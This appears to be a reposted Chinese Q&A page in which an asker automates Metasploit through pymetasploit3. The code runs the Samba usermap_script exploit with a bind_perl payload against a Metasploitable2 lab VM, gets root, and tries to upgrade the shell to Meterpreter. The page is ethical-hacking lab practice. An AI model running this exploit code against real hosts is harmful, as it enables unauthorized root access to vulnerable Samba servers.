使用 pymetasploitable3 和 metasploit(msf) 控制台从 shell 升级到 meterpreter linux metasploitable2 自动化

问题描述

我试图通过在我的 Kali VM 上运行 python 脚本来在 metasploitable2 VM 上打开一个 Meterpreter shell。所有都连接到同一个内部 nat 网络。

我的道德黑客目标是尝试执行利用和后利用的自动化 (pymetasploit3)。

到目前为止,我可以使用我的 python3 脚本,该脚本导入库 pymetasploit3.msfrpc,并额外使用 msfconsole 打开会话并发出正常的 Linux 终端命令。

我的利用代码:(test2.py)

import time 
from pymetasploit3.msfrpc import MsfRpcClient 
client = MsfRpcClient('mypassword',port=55552)
exploit = client.modules.use('exploit','multi/samba/usermap_script') #defining exploit to use
exploit['RHOSTS'] = "10.0.2.4" #metasploitable VM
exploit['RPORT'] = "139" #samba port
exploit.target = 0
payload = client.modules.use('payload','cmd/unix/bind_perl') #defining exploit's payload to use
payload['LPORT'] = 4444
time.sleep(10) #allow time for msfconsole to open command session
exploit.execute(payload=payload)
shell = client.sessions.session(list(client.sessions.list.keys())[0])
shell.write('whoami') #issuing commands to now opened shell
print(shell.read()) #result = root
shell.write('hostname') 
print(shell.read()) #result = metasploitable

我一直在关注本指南meterpreter escalation

我的后开发代码(从之前的 test2.py 代码继续):

payload1 = client.modules.use('payload','multi/manage/shell_to_meterpreter') #same explotation but different payload
payload1['LPORT'] = 8080
payload1['SESSION'] = 1
exploit.execute(payload=payload1)
shell = client.sessions.session('1')
shell.write('whoami')
print(shell.read())
shell.write('hostname')
print(shell.read())

msfconsole 的结果(包括初始设置和结果):

msfconsole #loads...
load msgrpc Pass=mypassword
#MSGRPC success messages
#loaded plugin: msgrpc
Command shell session 1 opened (0.0.0.0:0 -> 10.0.2.4:4444) at... #normal shell session active

运行实际的python代码(test2.py):

code output

第 197 行指的是:

payload1 = client.modules.use('payload','multi/manage/shell_to_meterpreter')

我想知道正确执行此后开发自动化的正确方法是什么,以及为什么第二个有效负载不起作用...

此外,如果有一种更简单的方法可以使用类似的自动化方法打开 Meterpreter,欢迎提出建议。谢谢

解决方法

很多事情都错了,但解决方案是在单独的脚本中运行它,然后切换到 meterpreter 会话。

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...